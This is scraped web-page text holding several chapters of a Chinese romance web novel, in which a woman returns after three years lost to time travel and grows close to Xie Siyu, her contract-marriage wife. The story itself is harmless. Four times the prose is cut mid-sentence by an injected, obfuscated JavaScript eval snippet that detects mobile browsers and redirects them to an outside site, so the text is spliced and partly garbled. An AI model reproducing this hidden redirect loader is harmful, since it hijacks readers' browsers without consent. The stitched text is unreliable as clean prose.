;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278664|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出几张谢思虞订餐的订单:“这是我随手拍的,时间大部分集中在晚上十点左右,这些年……谢总的饮食很不规律。” 陆言卿注意到订单下方清一色备注:不要辣,放前台。 瞳孔微缩,难怪中午谢思虞只是吃了鲜虾粥,是原本就不能吃辣,还是因为胃溃疡不能吃辣? 叮—— 微波炉加热结束,打破茶水间凝重的氛围。 陆言卿戴上隔热手套取出微波炉里的杯子,注意到刘瑶的踌躇不安,温柔安抚:“谢谢你告诉我这些,今后你还是谢总的特别助理。” 与此同时,电梯间。 陆言昭扯松领带,公文包在电梯壁上撞出闷响。 液晶屏跳动的楼层数字像在嘲讽——他刚在月桂芳吃了闭门羹,章清月那句“我只和谢总谈”还在耳膜嗡嗡作响。 “市场部都是吃干饭的?” 他踹了一脚身后助理的鞋,文件夹一下一下砸落在对方肩头,唾沫星子满天飞:“姓谢的压着不签字,你们不会把策划案摔她脸上?” 杨助理忍着陆言昭的怒火,抱着文件缩在角落一声不吭。 “副总监,刚群里都在说……” 电梯抵达32层,暴怒中的陆言昭从电梯里走出来,根本没理会助理的话,看到刘瑶后直接把手里文件扔过去:“让那个外姓人立刻签字,否则别怪我……” “否则别怪你什么?” 清冷声线在嘈杂的走廊响起,陆言昭手里还端着一杯温热的牛奶,低头扫过散落一地的纸张。 “陆……陆总?” 杨助理倒抽冷气,之前刷屏的群聊照片,此刻正主就站在他面前,不敢去看陆言昭黑青的脸,急忙弯腰将地上的资料捡起来。 陆言昭喉结滚动咽下脏话,他仔细打量这个失踪三年的堂妹:米色风衣裹着清瘦的身量,唯有眉眼间那抹凌厉与祖父如出一辙。 同一层楼,谢思虞听到动静从办公室出来,眉眼温柔,然话里却带着不容置喙,“章总要求黄金展位,陆副总监你们部门上交的方案不具有可行性……” “轮不到你教我做事!” 陆言昭不敢对陆言卿发火,可谢思虞他根本不放在眼里,抢过助理手中还未整理好的资料,用力摔在一旁的办公桌上,纸页锋利的边缘擦过谢思虞手背,“别以为哄得老爷子开心就能坐稳陆氏CEO的位置。” “啪!” 陆言卿将玻璃杯重重搁在办公桌说,杯中牛奶溅出沿着杯壁缓缓下滑,如同她眼底凝结的冷意:“陆副总监,D市店三年前第二季度的招商事故需要我提醒你吗?” 陆言昭脸色骤变。 那场被他压下的丑闻——签约品牌涉嫌抄袭,正是陆言卿连夜带法务团队解决的。 “谢思虞,就是你口中的外姓人,用三年把双栖云境从19家扩展到如今的27家。” 陆言卿踩住飘落的策划案,鞋跟碾过“陆言昭”的签名,“而你经手的项目,投诉率同比增长10%。” 围观人群响起窃窃私语。 5. 第5章 陆言昭攥紧拳头,手指指着陆言卿,因为愤怒太阳穴青筋凸起:“行,陆言卿你失踪三年,回来就耍威风是吧,周五股东大会我看你如何跟大家解释。” “不用你操心。” 陆言卿冷声回应。 围观人群中不知道谁偷偷拍下陆言卿踩住文件的照片,瞬间在员工群刷出满屏「陆总杀疯了」的表情包。 陆言昭和助理灰溜溜离开,围观的人也迅速回到自己岗位。 牛奶溅落在手背上,黏黏糊糊不舒服,陆言卿正打算回茶水间洗手,突然面前递过来一张纸湿巾。 “何必跟他生气?” 谢思虞倚靠着办公桌站立,等陆言卿接过湿巾,反手撑着桌面,另一只手端起玻璃杯,小抿了口杯中的牛奶。 浓郁的奶香在嘴巴里蔓延开来,说实话她并不喜欢,但此刻胃里却暖暖的。 也不知道是因为牛奶是热的,还是因为其他。 “他就是欠教训。” 副总监? 三年前陆言昭被二叔从销售部调到市场部,如今都做到副总监的位置了,也不知道里面掺了多少水分。 一边用湿巾擦拭手背,一边用余光打量谢思虞,最后视线定格在她手背划痕处:“手头加急的文件处理完了吗?” 不明白陆言卿的意思,谢思虞还是如实回答:“嗯。” 陆言卿把湿巾扔进脚边的垃圾桶:“那现在跟我去医院复查胃镜。” - 晚上8点,江海澜苑。 该小区公寓楼层最高只有12层,还记得当初楼盘开售第二天,老爷子就把她叫到书房,说买下了第6栋公寓的顶层。 打算将其全部打通,找业界著名的设计师设计图纸,到时候给她当婚房用。 三年前和谢思虞领证,原本打算是要搬过来住的,可惜事与愿违。 智能门锁开启的蜂鸣声打破玄关的寂静,谢思虞打开鞋柜从里面拿出两双拖鞋。 陆言卿望着镜面柜门映出的两道影子,她的高跟鞋和谢思虞的单鞋摆放在一起,莫名暧昧。 “指纹录入需要十秒。” 谢思虞把包和车钥匙放在鞋柜上方,将一双崭新的拖鞋放在陆言卿脚边,跟她脚上的是同款,唯有颜色不同。 紧接着握住陆言卿的手指摁在智能门锁上,等指纹录入完成,又提醒,“抬头看这里。” 陆言卿没出声,跟着谢思虞的提示看过去,虹膜扫描仪的蓝光扫过她睫毛时,忽然闻到一股淡淡的苦橙花香。 “可以了。” 谢思虞松开陆言卿的手腕,放在鞋柜上的手机铃声响起,来电显示:余医生。 眉眼中神色闪了闪,拿起手机往里屋走,指了指厨房位置,“冰箱里有苏打水,要喝咖啡或者果汁……抱歉,忘记家里没有果汁,明天我让阿姨送过来。” “你有事就去忙,不用管我。” 陆言卿摸了摸鼻尖,今后她也要住在这里,总要先熟悉熟悉格局。 开放式厨房的岛台陈列着未拆封的炒菜锅,保修卡日期停留在两年前。 打开双开门冰箱,里面空荡荡的,唯有几瓶苏打水排列在架子上。 “……” 看样子没有在家里开过火。 陆言卿拿了瓶苏打水便关上了冰箱门,环顾四周,公寓里是现代风格装修,简约为主。 客厅摆放着直排四人座沙发,款式简单大气的实木圆形茶几,墙上倒是悬挂着液晶屏电视,但看电源线都没有插上,想来平时也极少使用。 电视柜上玻璃花瓶里插着好几支洋甘菊,白色小花开满枝头,清新迷人,成为家里唯一的色彩。 大概过了十几分钟。 书房接听电话的谢思虞出来,见陆言卿坐在沙发上,手中的苏打水已经喝了大半,另一只手拿着手机正在回复微信消息。 “要先洗漱吗?” 连续输液四天,胃溃疡已有好转,确实不用再输液,只需要按时吃药就行。 傍晚在公司听到陆言卿要带她去医院复查胃镜,更多的是意外。 不过最后被她拒绝了。 【不是故意不联系你,真有原因。】 【明天见面再细说。】 陆言卿正在跟钟晚意解释消失三年的原因,听到谢思虞的话抬起头来,下意识说:“我睡次卧就行。” 谢思虞静默了几秒:“次卧在走廊尽头。” 额,是她说错话了吗? 陆言卿眨眨眼站起身,把手机随手搁在沙发上,轻手轻脚跟着谢思虞往主卧方向走。 她们协议结婚,哪怕延长到两年后,没必要同床共枕吧? “次卧没有卫浴。” 言外之意就是只能在主卧洗漱。 谢思虞从衣帽间里取出一件她的睡裙,递给陆言卿:“先穿这件吧,我没穿过。” 那些原本给陆言卿准备的睡衣,全都没有拆封,贴身衣服总要清洗后才能穿。 “次卧没有卫浴?” 陆言卿意外挑了挑眉。 爷爷确定找了业界著名的设计师设计? “嗯。” 谢思虞轻轻点头,无视某人诧异的目光,自然也不可能说她搬进婚房,重新装修公寓时,让装修师傅拆除了次卧的卫浴。 次卧没有卫浴就没有吧。 不是什么大事。 陆言卿拿着睡裙推开浴室的门,一股更浓郁的苦橙花香扑鼻而来。 洗发水,沐浴露,泡澡精油好像都是这个味道? 陆言卿扫了眼架子上的瓶瓶罐罐,弯腰打开洗手池下方的柜子,发现了未开封的双人牙刷。 储物格里还整齐码着情侣款毛巾,只不过那塑封袋上积着薄灰。 叩叩。 “用这个。” 浴室门被敲响,陆言卿打开门谢思虞就站在外面,递来浅蓝色毛巾,“镜柜里有新的牙刷和漱口杯,等会儿换下来的衣服直接扔进阳台洗衣机就行,洗衣机会在晚上十点自动运行。” 陆言卿捏紧手中纯棉材质的毛巾,如云朵般柔软,望向谢思虞的目光微微复杂。 也许谢思虞曾想过好好经营她们这段婚约,始料未及的是她失踪了。 “我……” 陆言卿喉咙微涩,话到嘴边欲言又止,怕自己误解了谢思虞的意思。 “什么?” 谢思虞没等到陆言卿的下文,便自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278665|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾自往下说,“浴室里的东西你都可以用。” - 凌晨两点,陆言卿从梦中惊醒,胸腔里那颗心脏跳的格外剧烈,借着窗外的月光看清屋内的装潢。 用力摁了摁眉心。 还好,她没有再次穿越时空。 打开床头的小灯,陆言卿穿上拖鞋摸向厨房,发现谢思虞正蜷在料理台前吞药片,月光将她的影子拉的很长。 “是胃又难受了?” 走廊因陆言卿说话声自动亮起,只见她步履匆忙来到谢思虞身后,一手扶着她的肩膀,一手托着她的腰,将人半搂半抱扶起来。 谢思虞软弱无力靠在陆言卿怀里,嗓音轻柔带着歉意:“吵醒你了?” 说话的同时将冷水杯藏进阴影,“有点睡不着,吃点止疼药就好。” 陆言卿扶着谢思虞坐在料理台旁边的软椅上,眉眼间闪过担忧。 “你……算了,时间不早,回房间睡觉吧。” 陆言卿确实有点生气的,偏偏她没有立场说教,更说不出指责的话,谢思虞为何会如此,有很大一部分原因是因为她。 主卧感应灯随着人体温度次第亮起。 谢思虞在陆言卿的帮助下陷进羽绒被,有那么一瞬,对方柔软的发丝拂过脸颊,她嗅到了苦橙花香,同她身上的味道一模一样。 看着陆言卿调试加湿器的背影,莫名希望这场胃疼永无止境。 “睡吧。” 陆言卿帮谢思虞盖好被子,顺便掖了掖被角,想到什么,索性在床边坐下来,“公司再棘手的事情总会有解决的办法,况且我不是回来了吗?你现在什么都不要想,乖乖睡觉。” “我等你睡着再离开。” 卧室光线不算太亮,谢思虞却能看清陆言卿的五官,听到她关切的言语,呼吸愈发的沉重,费了好大功夫才平静下来。 闭上眼睛。 却不想入睡。 时间一分一秒过去,谢思虞数到第827次呼吸时,右手手臂上突然一沉。 是陆言卿躺了下来。 刚扬言说要等她睡着后离开的人,反而比她先睡着。 谢思虞不知道该哭还是该笑,温柔缠绵的目光落在身侧之人身上,指尖在空中虚虚描摹她的轮廓。 三年来她曾无数次幻想这个场景,却从不敢让距离缩短至毫米。 可不管她如何小心翼翼,幻境就是幻境,次日天亮,一切都会化为泡影。 床头柜电子钟跳向03:27,服用的药开始发挥作用。 谢思虞眼皮酸涩,轻轻翻转被陆言卿压住的发梢,温热的指尖最终落在了心上人的脸上,寂静的房间里响起她近乎哀求的声音:“卿卿,不要再离开我了……” 第二天,窗外天色朦胧。 谢思虞悠悠转醒,她已经很久很久没有这样的深度睡眠了,意识到有什么东西正横在她的腰间。 看清楚躺在她身边的人是陆言卿,瞳孔里迸发出震惊,随后思绪回笼,才慢慢冷静下来。 凝视着那节白皙纤细的小臂,皮肤下青色的血管随脉搏微微起伏,谢思虞颤抖着将鼻尖虚贴在陆言卿颈间,任由泪水滑落眼眶。 真好,不是梦。 6. 第6章 阳光穿透智能窗帘的缝隙洒进屋内,陆言卿翻身时羽绒被滑落腰间,凉意袭来,她睁开了眼睛。 两米宽的大床上,属于谢思虞的羽绒枕平整如新,唯有床单褶皱泄露了昨夜同眠的痕迹。 她低头看着身上松垮的丝绸吊带裙,肩带滑落至肘部,胸口蕾丝花边歪斜地贴着肌肤,胸前的旖旎风光若隐若现。 陆言卿突然想起什么,迅速坐起身来,懊恼地抓了抓头发:“怎么就睡着了呢?” 整理好肩带,掀开被子下床,不等她走到衣帽间前,紧闭的卧室门就被人从外面推开。 谢思虞显然已经洗漱好了,柔顺的长发披肩,黑色连衣裙,绸面缎,衬得她身材姣好,裙摆正好在膝盖往下一点,露出一双纤细笔直的长腿,外面搭一件款式宽松的白色西装。 优雅又知性。 “我从衣帽间挑选的裙子,清洗过已经烘干了,剩下的衣服会让阿姨来打理。” 谢思虞推开门,正撞见陆言卿赤脚踩在地板上。 将熨烫妥帖的雾蓝色连衣裙递过去,配套的珍珠扣腰带压着叠成方块的蕾丝内衣上。 “额,谢谢。” 陆言卿着实有些尴尬,因为谢思虞递过来的衣服,除了连衣裙,还有贴身穿的bra。 是她昨晚洗澡换下来的。 昨天她把衬衫和裙子扔进洗衣机,但bra放在洗手池边上的盆里了,好像还没来得及洗? 所以,是谢思虞今早帮她清洗的? 想到有这个可能,陆言卿耳尖隐隐发烫,接过衣服便径直往浴室方向走。 谢思虞看着落荒而逃的某人,眼中浮现出温柔的浅笑,来到床边将被子整理好。 二十分钟后。 餐厅。 “医院那边我打过电话了,你去做一个全身检查,上午有比较重要的会议,我不能缺席,到时候刘瑶会全程陪你。” 陆言卿换好衣服出来,餐桌上摆着精致的早餐,水晶虾饺透出粉橘色的虾肉,鲜虾粥最上面飘着芹末,摆盘样式与云膳坊分毫不差。 阳台上,她昨晚洗的衣服也已经晾挂好了。 陆言卿深吸了一口气,拉开餐椅坐下来,夹起水晶虾饺还没来得及咬,就听到谢思虞说给她安排了体检。 “体检就不用了吧,我没有感觉哪里不舒服……” 抬眸对上谢思虞温柔但不容置疑的目光,陆言卿讪讪地耸肩,立马乖乖改口,“好,我去医院。” 突然穿越时空三年,对她身体到底有没有影响,确实应该重视。 “体检需要空腹,抱歉,这些你……暂时不能吃。” 谢思虞昨天中午在云膳坊跟经理说了订早餐的事,让陆言卿去医院体检是昨晚接到余医生电话后才有的念头。 所以,当云膳坊工作人员把早餐送过来,她才想起来这件事。 “好,我先不吃。” 陆言卿咽了咽口水,把筷子放下。 解锁手机打开某音,了解榕城这几年的变化,很快十几分钟过去。 抬眸才注意到餐桌对面的谢思虞一直在低头看平板,连筷子都没动,想到这人昨晚半夜被疼的睡不着,爬起来吃止痛药的模样,眉头蹙起。 站起身,隔着餐桌,手臂伸过去拿走谢思虞手中的平板,一板一眼说:“我听话去医院体检,麻烦谢总也乖一点,一日三餐按时吃。” 说着盛了小半碗粥放在她面前。 厨房里,智能咖啡机还在工作,浓郁的咖啡香在餐厅弥漫,陆言卿眨眨眼,像是监督幼稚园小朋友那般:“我暂时不能进食,但你能吃啊,谢总不要辜负美食,粥要全部喝完。” 随后又恶趣味补充:“胃没好之前,就不要喝咖啡了。” 手里平板被陆言卿拿走,谢思虞微微一怔,沉默着没说话,很快面前多了小半碗粥,某人还有样学样提醒她最近不要喝咖啡。 这时陆言卿手机铃声响了,她拿起来往阳台方向走,谢思虞低头搅拌碗里的鲜虾粥,舀了一口喂进嘴巴里。 突然,嘴角不自觉勾起,无声笑了起来。 【中午我有点急事,咱们约在晚上,8点我在BlueNote等你。】 【你别放我鸽子啊,不然我直接杀你家里去——】 【话说你现在住哪里?晨华里?】 阳台,陆言卿接起电话,听筒那头就传来钟晚意好几个问题,耐着性子一一解释:“我正要跟你说,上午没时间,约了体检。” “晚上我肯定准时到,跟谢思虞住在江海澜苑这边,满意我的回答吗?钟大小姐。” 还差20分钟九点,太阳冉冉上升。 站在阳台上还是有点冷,陆言卿没有穿外套,转身回到客厅,餐厅用餐的谢思虞也不见了身影。 【你居然跟谢思虞住一块?不是说为了躲她才出国?你们到底怎么回事啊?】 陆言卿轻轻蹙眉,纠正:“别胡说,我……三年没回来不是为了躲她。” 大概是听出陆言卿有点生气,那头钟晚意小声咕哝:【那不是大家都这么说嘛。】 【本来我还想告诉你一个好消息,苏蔓,也就是咱们的苏大影后新剧杀青,今天回榕城了。】 “影后?” 【对啊,你离开这几年,苏蔓在娱乐圈可谓是风生水起,短短三年就成为圈内炙手可热的大明星,前段时间刚斩获金奖。】 陆言卿坐在沙发上,靠着柔软的抱枕,挑眉看着玻璃花瓶里那几支洋甘菊,哂笑:“那挺好啊,说明当初她离开我是明智的选择。” 【额,咱们不说这个。】 【晚上聚会,我能叫上其他姐妹不?】 陆言卿闭上眼睛:“随你。” 说完挂断了电话,手机扔在了茶几上。 此时,书房外走廊。 谢思虞一手拎着包,另一只手拿着两个蓝色的文件夹,里面是她刚复印好的资料,原本脸上挂着的温和笑容也消失不见。 “通话结束了吗?” 听到温柔的声音,陆言卿睁开眼睛,她还以为谢思虞已经出门了,点点头回答:“晚意打来的电话,晚上你有时间,跟我一起去BlueNote坐坐?” 谢思虞不经意扫过陆言卿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278666|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉眼,没有找到一丝伤感和惆怅,扣着文件夹的指尖微微动了动。 “不确定有没有时间,晚上再说。” “餐桌稍后阿姨会来收拾,外面天冷,你需要再穿一件外套,我在门口等你。” 说完便不再看陆言卿,谢思虞朝着玄关走去。 等她? 是要一起出门? 陆言卿眼底闪过茫然,几分钟后,她和谢思虞坐进同一辆车,且这人还是司机,也等到了答案:“刘瑶主持会议,我陪你去医院。” 系安全带的动作猛然顿住,陆言卿歪头看着谢思虞:“不是说上午的会议很重要,不能缺席?我又不是小孩子,体检而已,不需要人陪……” 谢思虞启动引擎,确定前后方安全,将车缓缓开出车库,也适时打断了陆言卿的话:“我知道,但我想陪你去。” 陆言卿:“……” 张了张嘴巴,半晌都说不出一个字,谢思虞一句话把她整蒙了,想陪她去。 所以,是怎么个想法? - 九点半,榕城华康私立医院。 因为提前预约过,陆言卿和谢思虞踏进医院,就有专业的护士带领陪同。 先是最基础的体征与体格检查,紧接着来到二楼血液样本采集窗口,消毒水味道涌入鼻腔,陆言卿无意识攥紧了体检单。 “陆女士请坐。” 采血窗口的护士敲击键盘,橡胶指套在亚克力台面刮出细响,“需要脱掉外套,左手衣袖挽到肘上。” 陆言卿脱下卡其色风衣,冷空气激得小臂泛起细密疙瘩。 正要折叠外套,谢思虞已自然接过衣物搭在臂弯,羊绒面料残留的体温透过衬衫传递到肌肤。 “握拳。” 护士在她手臂上绑上压脉带。 酒精棉球的凉意刺破毛孔,陆言卿后颈泛起生理性颤栗。 五支采血管在托盘里列队,让她不由倒吸一口凉气。 “请放松。” 护士拍打她肘窝寻找静脉,皮肤下的青色血管在压力下时隐时现。 突然有微凉的手掌覆上眼睑。 “怕就别看。” 谢思虞的声音悬在耳际,呼吸间带着淡淡的苦橙花香。 陆言卿能感觉到她无名指的婚戒边缘压在眼睛下方,金属的寒意传来,心脏莫名颤了颤。 “我不怕。” 陆言卿小声反驳,当针尖刺入皮肤的瞬间,谢思虞的拇指无意识摩挲她眉骨,无声安抚。 “好,卿卿不怕,是我不想让你看。” 谢思虞笑了笑,感受到掌心里属于陆言卿长而卷翘的睫毛一下又一下扇动,好似蝶翼颤动,将她心湖也溅起层层涟漪。 卿卿? 这是谢思虞第一次这般叫她,温软的嗓音钻进耳朵里,陆言卿心也跟着紧了紧。 很快,采血管接连注满暗红液体。 当第五支试管被贴上条形码时,谢思虞开口:“凝血功能检查需要按压十分钟。” 她松开捂着陆言卿眼睛的手,将酒精棉按在针孔上,“我来吧。” 7. 第7章 上午10:40分,华康私立医院,一楼影像学与功能检查处,CT室。 陆言卿按照医护人员的指示躺下,其实头部CT她觉得没必要拍,但谢思虞坚持。 或许是因为之前她说在飞机上听到广播里有电流声。 与此同时,走廊外。 心理科医生余霁今天休假,出现在影像科是因为家中长辈腹部疼痛难忍,这才带她来医院拍腹部CT。 “谢小姐?” 扶着面色苍白的姨妈坐在走廊的长椅上,前面等候拍CT的病人还有两位,余霁看到谢思虞眼中流露出意外,上前打招呼,“您哪里不舒服吗?” 两年前谢思虞因为长期压力大而失眠来医院就诊,她们因此而相识。 最近半年,谢思虞失眠症加重,每个礼拜都会来医院针灸。 以余霁对谢思虞的了解,如果不是特别严重的病情,她不会在这个时间点出现在医院。 毕竟,连胃溃疡需要住院,这人都拒绝了。 “陪我妻子体检。” 谢思虞拢了拢臂弯的外套,指尖无意识摩挲外套纽扣,她并没有对余霁隐瞒结婚的事情。 果然,余霁听闻后震惊地瞪大眼睛:“您的妻子回国了?” 谢思虞点点头:“嗯。” 想到今早的深度睡眠,她不确定的问,“余医生,我昨晚……大概有4个小时的深度睡眠。” 这两年多来,谢思虞每晚需要靠安眠药入睡,也是最近半年,服用两颗安眠药才勉强能睡三四个小时。 所以她才建议谢思虞配合针灸治疗。 “有吃药吗?” 余霁问。 谢思虞摇摇头,想到什么又补充:“昨晚没服用安眠药,但我吃了止疼药。” 余霁刚想要说什么,CT室厚重的铅门在此刻开启,穿堂风掀起陆言卿连衣裙下摆。 “这位是心理科的余医生。” 谢思虞迎上前,将外套披在陆言卿肩头,羊绒面料的风衣带着静电,几缕发丝黏在陆言卿颈侧,“我妻子陆言卿。” 陆言卿拢着衣领颔首示意,左边胳膊肘上未消的针孔红痕刺入余霁视线——那是采血留下的印记。 “深度睡眠时间增加了?”余霁瞥见谢思虞眼下的淡青略有消退,“最近……” “或许跟止疼药有关。”谢思虞截断问诊,指尖划过陆言卿袖口褶皱,帮她整理好衣袖,“余医生我们改天再聊。” 诊区广播突然响起叫号声。 余霁望着两人离去的背影,突然注意到谢思虞虚扶在陆言卿腰后的手,第一时间反应过来。 谢思虞似乎不太想让她的妻子知道她严重失眠的事情。 最后几项检查在妇科,陆言卿从诊室出来,墙上指针指向11点20,走廊上站着等她的谢思虞正低头看手机,指尖在屏幕上游走,应该是在回复消息。 撩了撩散落耳际的碎发,眼底目光略微复杂,这人……明明很忙,却陪着她来医院体检。 想要陪她,是她理解的那个意思? “部分检查项目下午会出结果,有几项需要等明天。” 谢思虞把手机装进包包里,走到陆言卿跟前,突然摊开掌心,“先吃颗糖?空腹太久会低血糖,我带你去吃饭。” 陆言卿怔忡地捏起其中一颗糖:“谢谢。” 医院大楼外。 春雨淅淅沥沥下着。 陆言卿咬破水果糖的脆壳,甜腻的荔枝香在舌尖炸开。 她看着谢思虞接听工作电话的背影,西装面料勾勒出蝴蝶骨轮廓——她真的太瘦了。 这通电话并没有接听很久,谢思虞很快回到车内,一边系安全带一边询问陆言卿的意见:“「月桂芳」章总约我聊入驻的事情,你要一起吗?不想的话,我让私房菜那边准备两个包间。” 陆言卿咽下荔枝味的糖果:“一起吧。” 「月桂芳」入驻商城,市场部和策划部上交的解决方案都还有待商榷。 - 半个小时后。 榕城有名的私房菜——竹香居。 谢思虞和陆言卿抵达二楼VIP包间,章清月已经到了,见到两人主动起身相迎:“陆总的气色看起来不错。” 她特意选了靠左侧的座位,旗袍开衩处露出的小腿线条,配上中式盘发,整个人可谓是风情万种。 “章总客气。” 陆言卿微微颔首。 谢思虞提前预约包间,她跟竹香居老板算旧识,直接在电话里订了菜品,她们人到齐,服务人员就陆续开始上菜。 谢思虞在陆言卿身侧坐下,左手边是章清月,袖口扫过陆言卿手背:“先喝粥。” 她将青瓷碗推过去,药膳粥上面漂浮着去核红枣,“温度刚好。” 怕某人害羞,于是侧过头跟章清月解释:“抱歉章总,言卿上午体检,直到现在还未进食。” “没关系,我们边吃边聊。” 陆言卿舀起半勺粥汤。 章清月注意到她左手无名指光洁如新,而谢思虞显然是长期佩戴着婚戒。 谢思虞见陆言卿开始喝粥,这才稍稍侧过身子,看向章清月,简明扼要:“章总,我们愿意将商场黄金眼切割为双入口,左侧是「月桂芳」珠宝区,右侧改造为非遗茶文化廊。” 章清月银筷在素三鲜上悬停半秒,谢思虞说的解决方案无疑是最好的,思量片刻后笑着问:“谢总想让我们承担多少改造费?” “60%。” 陆言卿的汤匙磕在碗沿,听到谢思虞的话微微挑眉,这个数字远超上午会议讨论的底线。 似乎是察觉到她的疑惑。 谢思虞在桌下将手机亮度调至最高——屏幕上是章清月助理五分钟前发的消息:【总部要求本周敲定亚太区旗舰店】。 “30%。”章清月用纸巾轻拭唇角,眼底露出凝重来,“我们可以提供珠宝高定周入场券。” 谢思虞继续给陆言卿夹菜,沉默着没说话。 旁边陆言卿却心知肚明,祖父谈判时也有这样的习惯,目的就是敲碎对手的心理防线。 “章总知道「云裳」茶饮的月均客流量吗?” 谢思虞调出手机里的图片,上面曲线如心跳监测图般起伏,“改造后茶廊带来的高净值客户,抵得上三场珠宝活动。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278667|166729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>服务人员呈上最后一道清炒虾仁,蒸腾的热气模糊了章清月的表情,她突然转向陆言卿:“陆总觉得呢?” 陆言卿咽下最后一口粥,缓缓道来:“上月拍卖会上,顾大师的藏品葡萄茶壶拍出920万。” 根据谢思虞在车上提及的相关内容,她展示出手机相册中双栖云境收藏的二十把紫砂名作,“这些都会陈列在茶廊VIP室。” 章清月的睫毛颤了颤。 “40%。”将合同翻至附件页,补充,“但需要增加三场联名发布会。” 谢思虞手中签字笔在补充条款处悬停,又很快签好名字:“章总,合作愉快。” 她签名后笔锋突然转向,在甲方联系人处添上陆言卿的名字。 陆言卿望着跃然纸上的三个字,恍惚回到领结婚证那日。 谢思虞也是这样将签字笔塞进她手中,说“名字签这里”。 离席时章清月突然轻笑:“谢总似乎很喜欢珍珠耳坠。”她意有所指地瞥向谢思虞的耳垂。 谢思虞唇角划过清浅的弧度,并未给出解释。 双方签订合同,算是解决了最棘手的问题,然「云裳」那边,理应要给予相应的补偿。 陆言卿和谢思虞回到公司,她只是简单提了下,没想到谢思虞已经做出了详细的方案。 翻看策划书,看向谢思虞的目光中多了些许敬佩。 - 晚上8:05分。 BlueNote是钟晚意堂哥开的清吧,谢思虞最近胃不舒服,最好一日三餐都按时吃,陆言卿便先跟她去附近吃了晚餐,开车过来路上有点堵车,这才晚了几分钟。 “大小姐别催,我人已经到了。” 陆言卿轻车熟路来到以往和钟晚意常开的包间,推门时,手里手机还在震动,全是来自钟晚意的轰炸。 光线忽明忽暗的包间。 钟晚意听到熟悉的嗓音,抬头看过去,站在门口的人不是陆言卿还能是谁? 手机仍在茶几上,百米冲刺的速度跑过去,将人抱进怀里,抱怨声中夹着哽咽:“陆言卿你混蛋!我还是不是你最好的闺蜜?整整三年啊——你都没联系过我。” 怀里抱着她的人胳膊都在轻颤,陆言卿微微叹息,她是哑巴吃黄连,有苦说不出,轻轻拍打钟晚意的后背:“对不起,是我的错,今晚我自罚三杯?要不五杯?” “总不能要把我灌醉吧?” 钟晚意擦了擦眼角的泪痕,一把推开陆言卿,轻嗤:“快闭嘴吧,谁不知道你陆大小姐千杯不醉?” 这才注意到陆言卿身后还站着一个人,谢思虞。 眼中闪过意外,这三年来,虽然谢思虞和陆言卿是领过证的关系,但她们交集并不多。 “思虞姐。” 卡座里坐着的几个姑娘也站了起来,跟着钟晚意喊了声思虞姐。 钟晚意冲着陆言卿挤眉弄眼,好似再问:你怎么把她带来了? “眼睛不舒服就去看医生。” 毫不留情拆穿好友,陆言卿牵着谢思虞往卡座方向走,也出声解了大家的困惑,“谢思虞是我的妻子,你们聚会又没说不能带家属。” 8. 第8章 陆言卿手牵上来那刻,谢思虞心跳明显快了半拍,低垂眼睑中划过愕然,不由自主指尖在对方掌心蜷缩了半寸。 吊灯将她们的影子投影在墙壁上,宛若两株被迫交缠的藤蔓。 这是三年来她们第一次在公共场合牵手。 穿藕粉色泡泡袖连衣裙的杨怡往角落缩了缩,见陆言卿主动牵谢思虞的手,还说了家属两个字,压下内心的震惊,笑着开口:“卿姐说笑,自然可以带家属。” 靠近窗边另一位富家千金姓郑,平时跟钟晚意玩的好,两人追星,她们喜欢爱豆花出去的都是真金白银,时间一长微博也有几十万粉丝。 陆言卿消失三年,总算回了榕城,这消息在圈内也相当炸裂。 悄悄咪咪拍了照片,发在了微博上。 “思虞姐。” 钟晚意也知道陆言卿的性子,她对陌生人尚且留有一丝温柔,更别说是领证的妻子。 悻悻然耸肩,来到谢思虞身边坐下,将冰镇柠檬水推过去,杯壁冷凝的水珠滑过对方指尖,“双栖云境今年3月初的品牌联名活动,我能推荐一个人吗?” 谢思虞用银匙搅动杯里的柠檬片,冰块碰撞声掩住胸腔内砰砰跳动的心脏,沉默几秒才反应过来钟晚意的弦外之音:“你是指代言人?” 